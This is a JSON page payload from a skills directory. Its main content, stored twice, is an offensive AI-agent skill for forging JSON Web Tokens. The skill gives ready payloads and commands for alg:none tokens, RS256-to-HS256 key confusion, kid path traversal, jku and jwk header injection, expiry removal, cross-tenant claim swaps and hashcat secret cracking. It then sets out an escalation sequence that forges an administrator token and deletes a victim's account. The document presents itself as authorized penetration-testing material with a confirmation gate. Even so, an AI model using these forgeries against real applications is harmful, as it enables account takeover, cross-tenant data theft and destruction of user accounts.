[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P5ZD3FD4C086YSCTZNWBMB":3,"skill-same:01M6P5ZD3FD4C086YSCTZNWBMB":69},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":22,"commitSha":50,"skillDirectory":51,"forksCount":13,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":54,"install":55,"resources":68},"01M6P5ZD3FD4C086YSCTZNWBMB","hunt-jwt-crypto",null,"Hunt JWT cryptographic failures","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-jwt-crypto\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"hunt jwt crypto","jwt","hunt","crypto","main","for","relevant","helper","offensive","scripts","scope","commands","testing","community","only","Tools","license","testing tools","security","github","2026-11-10 10:12:30",false,"---\nname: hunt-jwt-crypto\ndescription: Hunt JWT cryptographic failures\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nreport_count: 6\nsources: hackerone_public\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)\n\n## What actually pays\n\nA JWT is `header.payload.signature`, each base64url. The signature is the only\nthing stopping you from editing the payload (your identity\u002Frole) and replaying\nit. It pays **High\u002FCritical** when the verifier can be tricked into accepting a\ntoken you forged — so you become another user or an admin without their secret.\n\nTwo classic, generic verifier flaws:\n\n- **`alg:none`** — the verifier trusts the token's own `alg` header. Set\n  `alg:\"none\"`, drop the signature, edit the payload (e.g. `role:\"admin\"`,\n  another user's `id`\u002F`email`). A broken verifier skips signature checking.\n- **RS256 → HS256 key confusion** — the token is signed RS256 (asymmetric). The\n  RSA **public** key is, by definition, public. If the verifier lets you choose\n  HS256, it will use that public key as the HMAC *secret* — which you also know.\n  Sign an edited payload with HS256 using the public key and it validates.\n\n## Recon — is this app JWT-based?\n\n```\nLogin\u002Ftoken responses containing  \"token\":\"eyJ...\"   or  Set-Cookie: token=eyJ...\nAuthorization: Bearer eyJ...    on authenticated requests\nA JWKS \u002F public-key endpoint:   \u002F.well-known\u002Fjwks.json, \u002Fjwks, public-key in the JS bundle\n```\n\nDecode the header (base64url the first segment). `\"alg\":\"RS256\"` → try key\nconfusion. Any alg → always try `alg:none` first; it's free.\n\n## Forging the token (never hand-encode base64 — use a JWT tool)\n\nUse a purpose-built tool so encoding\u002Fsigning is correct: **jwt_tool**\n(`jwt_tool \u003Ctoken> -T` to tamper interactively, `-X a` for alg:none, `-X k -pk\npublic.pem` for key confusion), Burp's **JWT Editor** extension, or a few lines\nof **PyJWT**. Each forge below is the concept plus the claim to edit.\n\n**alg:none — become admin \u002F another user**\n```\nheader:    {\"alg\":\"none\",\"typ\":\"JWT\"}\npayload:   {\"data\":{\"id\":1,\"email\":\"admin@target.example\",\"role\":\"admin\"}}\nsignature: (empty — keep the trailing dot:  header.payload. )\n```\nSome verifiers reject lowercase `none` but accept `None`\u002F`NONE`\u002F`nOnE` — try case variants.\n\n**RS256 → HS256 key confusion — once you have the RSA public key**\n```\n1. Obtain the server's RSA public key as PEM. Sources: \u002Fjwks.json or\n   \u002F.well-known\u002Fjwks.json (convert the JWK to PEM), a public-key file in the JS\n   bundle, or recover it from two captured tokens (e.g. jwt_tool \u002F rsa_sign2n).\n2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:\n      jwt_tool \u003Ctoken> -X k -pk public.pem\n   payload edit:  {\"sub\":\"administrator\"}   (or role:\"admin\" \u002F another user's id)\n```\n\n**kid header injection — verifier loads the HMAC key from a FILE named by `kid`**\n```\nheader:  {\"alg\":\"HS256\",\"kid\":\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fdev\u002Fnull\"}\nsecret:  \"\"     (contents of \u002Fdev\u002Fnull = empty string → sign HS256 with an empty secret)\npayload: {\"sub\":\"administrator\"}\n```\nTraverse out of the keys directory first. `kid` can also carry SQLi \u002F command\ninjection \u002F SSRF if the key lookup hits a DB \u002F shell \u002F URL — same idea: `kid` is\nattacker-controlled and reaches a dangerous sink.\n\n**jku \u002F x5u header injection (RS256) — verifier fetches the public key from a URL in the token**\n```\n1. Host a JWKS containing a public key you control, on a server the verifier can reach.\n2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload\n   with YOUR matching private key.\n3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable\n   path on the target's OWN domain so the fetch resolves to your JWKS.\n```\n\n**jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token**\n```\nheader:  {\"alg\":\"RS256\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"\u003Cyour_rsa_modulus>\",\"e\":\"AQAB\"}}\npayload: {\"sub\":\"administrator\"}\nsignature: (sign with your matching private key)\n```\nSome verifiers incorrectly trust a `jwk` (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.\n\n**Expiry \u002F time-based claim manipulation**\n```\nRemove \"exp\" (expiration) claim entirely — many validators skip the check if absent.\nOr set \"nbf\" (not before) to the past and \"exp\" (expiration) to far future (e.g. year 2099).\nEdit payload: {\"sub\":\"administrator\",\"nbf\":1000000000,\"exp\":4102444800}\n```\nCombined with any forging technique above (alg:none, key confusion, jwk injection), this\nbypasses time-based validation when the verifier does not enforce strict expiry rules.\n\n**Cross-tenant claim injection — escalate to another tenant's data via claim swaps**\n```\nIdentify tenant-related claims in a decoded real token: \"org_id\", \"tenant\", \"account_id\",\n\"workspace_id\", \"customer_id\". Edit the target claim to another tenant's value.\nExample: {\"sub\":\"victim@org.com\",\"org_id\":1234} → change org_id to an admin's org (e.g. 9999).\n```\nThis is systematic IDOR via claims — if authorization logic trusts the token claims\nwithout checking ownership server-side, you cross into another tenant's resources.\nWorks especially well combined with alg:none or weak-secret attacks.\n\nMatch the `payload` shape to a REAL token from the app (decode one first) — keep\nits claim names, only change identity\u002Frole. A payload the app can't parse fails\nfor the wrong reason and wastes the attempt.\n\n## Offline attacks — weak HMAC secret cracking\n\nIf the token is HS256 (HMAC-based) and the secret is weak or reused from a known\npassword list:\n```bash\n# Hashcat: mode 16500 = JWT\nhashcat -a 0 -m 16500 \u003Cjwt_file> rockyou.txt\n\n# jwt_tool: built-in wordlist cracking\njwt_tool \u003Ctoken> -C -d wordlist.txt\n```\nOnce the secret is cracked, forge any token using HS256 with that secret (via\njwt_tool or PyJWT).\n\n## Automated attack automation\n\nUse purpose-built JWT attack suites to run all known forgery modes in parallel:\n```bash\n# jwt_tool: auto-try alg:none, key confusion, kid injection, etc.\njwt_tool \u003Ctoken> -X a\n\n# Nuclei: automated JWT vuln scanning\nnuclei -u \u003Ctarget_url> -t jwt\u002F -timeout 10s\n```\nRun these early in JWT recon; they often find the vulnerability faster than\nmanual chaining of individual techniques.\n\n## Drive to the ADMIN objective — do not stop at a working forge\n\nA forge that loads YOUR own `\u002Fmy-account` is NOT the goal — it just proves the\nforge mechanism works. The objective is almost always **admin** (reach an\nadmin-only page and perform an admin action, e.g. delete a user). Once any forge\nis accepted, IMMEDIATELY escalate — change identity to admin AND aim at the admin\nendpoint. Do not keep re-forging `\u002Fmy-account` or re-logging-in; that is drift.\n\nFixed escalation sequence (run it in order, do not loop on earlier steps):\n\n1. Forge admin identity and hit the admin page (try these claim names — match a\n   decoded real token: `sub`, `role`, `isAdmin`, `username`), e.g. an HS256 token\n   with `kid` pointed at `\u002Fdev\u002Fnull` and an empty secret, payload `{\"sub\":\"administrator\"}`,\n   sent to `GET \u002Fadmin`.\n2. When `\u002Fadmin` returns 200 (you'll see admin controls \u002F a delete link), perform\n   the admin action with the SAME forged token — a typical one is deleting a\n   target user account, e.g. `GET \u002Fadmin\u002Fdelete?username=\u003Cvictimuser>` (some apps\n   use `POST \u002Fadmin\u002Fdelete` — read the admin page for the exact form\u002Fverb).\n\nA 401 on `\u002Fadmin` means the forge\u002Fclaim is wrong — change ONE thing (the kid\ndepth, the claim name\u002Fvalue, or alg) and retry `\u002Fadmin`. Never retreat to a bare\nunauthenticated `GET \u002Fadmin` (no token) — that always 401s and wastes effort.\n\n## Proof of impact\n\nPoint the forged token at a protected\u002Fadmin endpoint and prove you read data you\nshould not: an account\u002Fuser listing (multiple users' emails), another user's\nobject, or a completed admin action (the deleted-user confirmation). Reading the\nadmin user list or performing the admin action with a forged token IS the exploit.\nA 200 that returns only your own data, or a 401, is not proof.\n\n## Validation discipline\n\n- Decode and confirm the token you sent actually carries the edited claims.\n- The win is **cross-identity data access**, not merely a 200. Show the foreign\n  user data (e.g. other users' emails) in the response.\n- `alg:none` rejected (401) just means that flaw is patched — try key confusion\n  before concluding the app is safe.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)\n\n## What actually pays\n\nA JWT is `header.payload.signature`, each base64url. The signature is the only\nthing stopping you from editing the payload (your identity\u002Frole) and replaying\nit. It pays **High\u002FCritical** when the verifier can be tricked into accepting a\ntoken you forged — so you become another user or an admin without their secret.\n\nTwo classic, generic verifier flaws:\n\n- **`alg:none`** — the verifier trusts the token's own `alg` header. Set\n  `alg:\"none\"`, drop the signature, edit the payload (e.g. `role:\"admin\"`,\n  another user's `id`\u002F`email`). A broken verifier skips signature checking.\n- **RS256 → HS256 key confusion** — the token is signed RS256 (asymmetric). The\n  RSA **public** key is, by definition, public. If the verifier lets you choose\n  HS256, it will use that public key as the HMAC *secret* — which you also know.\n  Sign an edited payload with HS256 using the public key and it validates.\n\n## Recon — is this app JWT-based?\n\n```\nLogin\u002Ftoken responses containing  \"token\":\"eyJ...\"   or  Set-Cookie: token=eyJ...\nAuthorization: Bearer eyJ...    on authenticated requests\nA JWKS \u002F public-key endpoint:   \u002F.well-known\u002Fjwks.json, \u002Fjwks, public-key in the JS bundle\n```\n\nDecode the header (base64url the first segment). `\"alg\":\"RS256\"` → try key\nconfusion. Any alg → always try `alg:none` first; it's free.\n\n## Forging the token (never hand-encode base64 — use a JWT tool)\n\nUse a purpose-built tool so encoding\u002Fsigning is correct: **jwt_tool**\n(`jwt_tool \u003Ctoken> -T` to tamper interactively, `-X a` for alg:none, `-X k -pk\npublic.pem` for key confusion), Burp's **JWT Editor** extension, or a few lines\nof **PyJWT**. Each forge below is the concept plus the claim to edit.\n\n**alg:none — become admin \u002F another user**\n```\nheader:    {\"alg\":\"none\",\"typ\":\"JWT\"}\npayload:   {\"data\":{\"id\":1,\"email\":\"admin@target.example\",\"role\":\"admin\"}}\nsignature: (empty — keep the trailing dot:  header.payload. )\n```\nSome verifiers reject lowercase `none` but accept `None`\u002F`NONE`\u002F`nOnE` — try case variants.\n\n**RS256 → HS256 key confusion — once you have the RSA public key**\n```\n1. Obtain the server's RSA public key as PEM. Sources: \u002Fjwks.json or\n   \u002F.well-known\u002Fjwks.json (convert the JWK to PEM), a public-key file in the JS\n   bundle, or recover it from two captured tokens (e.g. jwt_tool \u002F rsa_sign2n).\n2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:\n      jwt_tool \u003Ctoken> -X k -pk public.pem\n   payload edit:  {\"sub\":\"administrator\"}   (or role:\"admin\" \u002F another user's id)\n```\n\n**kid header injection — verifier loads the HMAC key from a FILE named by `kid`**\n```\nheader:  {\"alg\":\"HS256\",\"kid\":\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fdev\u002Fnull\"}\nsecret:  \"\"     (contents of \u002Fdev\u002Fnull = empty string → sign HS256 with an empty secret)\npayload: {\"sub\":\"administrator\"}\n```\nTraverse out of the keys directory first. `kid` can also carry SQLi \u002F command\ninjection \u002F SSRF if the key lookup hits a DB \u002F shell \u002F URL — same idea: `kid` is\nattacker-controlled and reaches a dangerous sink.\n\n**jku \u002F x5u header injection (RS256) — verifier fetches the public key from a URL in the token**\n```\n1. Host a JWKS containing a public key you control, on a server the verifier can reach.\n2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload\n   with YOUR matching private key.\n3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable\n   path on the target's OWN domain so the fetch resolves to your JWKS.\n```\n\n**jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token**\n```\nheader:  {\"alg\":\"RS256\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"\u003Cyour_rsa_modulus>\",\"e\":\"AQAB\"}}\npayload: {\"sub\":\"administrator\"}\nsignature: (sign with your matching private key)\n```\nSome verifiers incorrectly trust a `jwk` (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.\n\n**Expiry \u002F time-based claim manipulation**\n```\nRemove \"exp\" (expiration) claim entirely — many validators skip the check if absent.\nOr set \"nbf\" (not before) to the past and \"exp\" (expiration) to far future (e.g. year 2099).\nEdit payload: {\"sub\":\"administrator\",\"nbf\":1000000000,\"exp\":4102444800}\n```\nCombined with any forging technique above (alg:none, key confusion, jwk injection), this\nbypasses time-based validation when the verifier does not enforce strict expiry rules.\n\n**Cross-tenant claim injection — escalate to another tenant's data via claim swaps**\n```\nIdentify tenant-related claims in a decoded real token: \"org_id\", \"tenant\", \"account_id\",\n\"workspace_id\", \"customer_id\". Edit the target claim to another tenant's value.\nExample: {\"sub\":\"victim@org.com\",\"org_id\":1234} → change org_id to an admin's org (e.g. 9999).\n```\nThis is systematic IDOR via claims — if authorization logic trusts the token claims\nwithout checking ownership server-side, you cross into another tenant's resources.\nWorks especially well combined with alg:none or weak-secret attacks.\n\nMatch the `payload` shape to a REAL token from the app (decode one first) — keep\nits claim names, only change identity\u002Frole. A payload the app can't parse fails\nfor the wrong reason and wastes the attempt.\n\n## Offline attacks — weak HMAC secret cracking\n\nIf the token is HS256 (HMAC-based) and the secret is weak or reused from a known\npassword list:\n```bash\n# Hashcat: mode 16500 = JWT\nhashcat -a 0 -m 16500 \u003Cjwt_file> rockyou.txt\n\n# jwt_tool: built-in wordlist cracking\njwt_tool \u003Ctoken> -C -d wordlist.txt\n```\nOnce the secret is cracked, forge any token using HS256 with that secret (via\njwt_tool or PyJWT).\n\n## Automated attack automation\n\nUse purpose-built JWT attack suites to run all known forgery modes in parallel:\n```bash\n# jwt_tool: auto-try alg:none, key confusion, kid injection, etc.\njwt_tool \u003Ctoken> -X a\n\n# Nuclei: automated JWT vuln scanning\nnuclei -u \u003Ctarget_url> -t jwt\u002F -timeout 10s\n```\nRun these early in JWT recon; they often find the vulnerability faster than\nmanual chaining of individual techniques.\n\n## Drive to the ADMIN objective — do not stop at a working forge\n\nA forge that loads YOUR own `\u002Fmy-account` is NOT the goal — it just proves the\nforge mechanism works. The objective is almost always **admin** (reach an\nadmin-only page and perform an admin action, e.g. delete a user). Once any forge\nis accepted, IMMEDIATELY escalate — change identity to admin AND aim at the admin\nendpoint. Do not keep re-forging `\u002Fmy-account` or re-logging-in; that is drift.\n\nFixed escalation sequence (run it in order, do not loop on earlier steps):\n\n1. Forge admin identity and hit the admin page (try these claim names — match a\n   decoded real token: `sub`, `role`, `isAdmin`, `username`), e.g. an HS256 token\n   with `kid` pointed at `\u002Fdev\u002Fnull` and an empty secret, payload `{\"sub\":\"administrator\"}`,\n   sent to `GET \u002Fadmin`.\n2. When `\u002Fadmin` returns 200 (you'll see admin controls \u002F a delete link), perform\n   the admin action with the SAME forged token — a typical one is deleting a\n   target user account, e.g. `GET \u002Fadmin\u002Fdelete?username=\u003Cvictimuser>` (some apps\n   use `POST \u002Fadmin\u002Fdelete` — read the admin page for the exact form\u002Fverb).\n\nA 401 on `\u002Fadmin` means the forge\u002Fclaim is wrong — change ONE thing (the kid\ndepth, the claim name\u002Fvalue, or alg) and retry `\u002Fadmin`. Never retreat to a bare\nunauthenticated `GET \u002Fadmin` (no token) — that always 401s and wastes effort.\n\n## Proof of impact\n\nPoint the forged token at a protected\u002Fadmin endpoint and prove you read data you\nshould not: an account\u002Fuser listing (multiple users' emails), another user's\nobject, or a completed admin action (the deleted-user confirmation). Reading the\nadmin user list or performing the admin action with a forged token IS the exploit.\nA 200 that returns only your own data, or a 401, is not proof.\n\n## Validation discipline\n\n- Decode and confirm the token you sent actually carries the edited claims.\n- The win is **cross-identity data access**, not merely a 200. Show the foreign\n  user data (e.g. other users' emails) in the response.\n- `alg:none` rejected (401) just means that flaw is patched — try key confusion\n  before concluding the app is safe.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":26,"source":43,"license":14,"sources":44,"category":36,"date_added":45,"description":7,"source_repo":46,"source_type":31,"report_count":47,"compatibility":48,"license_source":49},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public","2026-09-20","elementalsouls\u002FClaude-BugHunter",6,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-jwt-crypto","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-jwt-crypto",{"tool":61,"command":62},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-jwt-crypto",{"tool":64,"command":65},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-jwt-crypto","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-jwt-crypto\u002FSKILL.md",true,[],[70,95,119,142,170,194],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":81,"publishedAt":38},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[76],{"categoryNo":77,"categoryName":78,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",[82,83,84,85,86,87,72,88,89,90,91,32,31,22,92,93,28,27,24,94],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":38},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[102,103,104,105,106,107,108,109,110,111,112,113,114,32,115,31,116,117,93,118],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":38},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[126,127,128,129,37,130,131,34,132,133,134,135,136,31,22,137,138,139,140,141],"transcript","youtube transcript","youtube","safe","codex","research","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":159,"publishedAt":38},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[148,151,154],{"categoryNo":149,"categoryName":150,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":152,"categoryName":153,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":155,"categoryName":156,"taxonomyType":157,"taxonomyTypeDesc":158},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[126,127,128,160,129,161,37,130,34,162,163,164,165,134,166,31,22,167,168,169],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":171,"name":172,"nameZh":6,"description":173,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":174,"categories":175,"keywords":180,"publishedAt":38},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[176,179],{"categoryNo":177,"categoryName":178,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":152,"categoryName":153,"taxonomyType":79,"taxonomyTypeDesc":80},[128,181,182,106,129,183,184,185,186,34,164,187,188,189,190,22,191,137,192,193],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":201,"publishedAt":38},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[200],{"categoryNo":149,"categoryName":150,"taxonomyType":79,"taxonomyTypeDesc":80},[202,128,203,204,129,161,162,205,206,163,164,165,134,207,166,31,22,167,208,140],"youtube full","full","google","server","dlp","credits","automatic"]